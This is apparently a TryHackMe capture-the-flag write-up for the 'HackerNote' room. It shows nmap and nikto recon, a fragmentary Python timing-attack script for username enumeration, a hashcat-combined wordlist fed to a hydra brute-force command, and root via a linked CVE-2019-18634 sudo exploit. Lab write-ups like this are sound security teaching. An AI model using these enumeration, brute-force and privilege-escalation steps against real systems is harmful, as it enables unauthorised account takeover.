HackerNote TryHackMe Writeup

Room : HackerNote

Description: This room teaches the basics of webapp pentesting.

export IP=

Task 1: (Initial Reconnaissance)

nmap -sS -vv -sV -Pn $IP


22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http syn-ack ttl 61 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

8080/tcp open http syn-ack ttl 61 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So, we have 3 ports open and Golang is being used in the backend. That’s the answer for the first two questions.

Task 2: (Investigation)

In this section we try to analyse the web service and look for the possible entrypoints. Also we look for the login, signup and forgot password page and try to login as an unauthenticated user to find any flaws that may reside in the application by testing it manually.

nikto -h http://$IP

- Nikto v2.1.6

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

+ Target IP:

+ Target Hostname:

+ Target Port: 80

+ Start Time: 2020–07–15 19:18:13 (GMT5.5)

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

+ Server: No banner retrieved

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ No CGI Directories found (use ‘-C all’ to force check all possible dirs)

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

Looking at the login.js file we find something interesting,

Under the login() function

const response = await postData(“/api/user/login”, { username: username, password: password });

Under the forgotPassword() function

const response = await getData(“/api/user/passwordhint/” + username)

Under the createUser() function

const response = await postData(“/api/user/create”, user);

These api endpoints look interesting.

We will try to bruteforce the (/api/user/login)

Task 3: (Exploit)

Using the timing attack flaw as described in the room we are able to exploit and find out the username to be james

For the names use names wordlist and convert the names to lowercase.

Timing Attack:

#!/usr/bin/env python

import requests

import time


def doLogin(username):

creds = {“username”:username,”password”:”invalidPasswordxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!”}

response = requests.post(URL,json=creds)

with open(‘names.txt’,’r’) as f:


for user in data:


startTime = time.time()


endTime = time.time()

print(users+” has login time of “+str(endTime-startTime))

Reason for the exploit working is explained in the room.

def login(username, password):

if username in users: ##If it’s a valid username

login_status = check_password(password) ##This takes a noticeable amount of time

if login_status:

return new_session_token()


return “Username or password incorrect”


return “Username or password incorrect”

Here we can clearly see that if the username is correct then the backend does an extra check for the password which takes considerable time.

We will use a pre written and tested script for the attack part. Here is the link

Task 4: (Password Attack)

Next we create custom wordlist as described in the room using hashcat

Download the wordlist.zip folder containing colors.txt and numbers.txt

Next we create our custom wordlist using hashcat.

./combinator.bin colors.txt numbers.txt > wordlist.txt

Next we crack the password using hydra.

hydra -l james -P wordlist.txt $IP http-post-form “/api/user/login:username=^USER^&password=^PASS^:Invalid Username Or Password””

Now we have the password for the user james:blue7

Using this data when we login and view the notes page we get the ssh password of james. Lets ssh into the machine now.

After ssh we can find the user flag there.

Task 5: (Esclate Privileges)

Next for privilege esclation we try to run any command as sudo to check if this works.

When we enter

sudo -l

We are prompted with a password but when we run the password we see asteriks. This is a recent vulnerability. This abnormal setting is known as pwdfeedback. This comes in CVE-2019–18634

Exploit: https://github.com/saleemrashid/sudo-cve-2019-18634

First we compile the exploit on our local machine. Then we use scp to copy the files from our host to server.

scp ./exploit james@$IP:/home/james

After copying this exploit we simply execute it and bingo we are root.

I was struck at scp. Do note use the scp command on the host where you compiled the program and don't forget to export your IP to the variable if you intend to use the exactly same command.



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Shivam Taneja

Shivam Taneja


IT Security Consultant, Researcher, Penetration Tester & Hacker.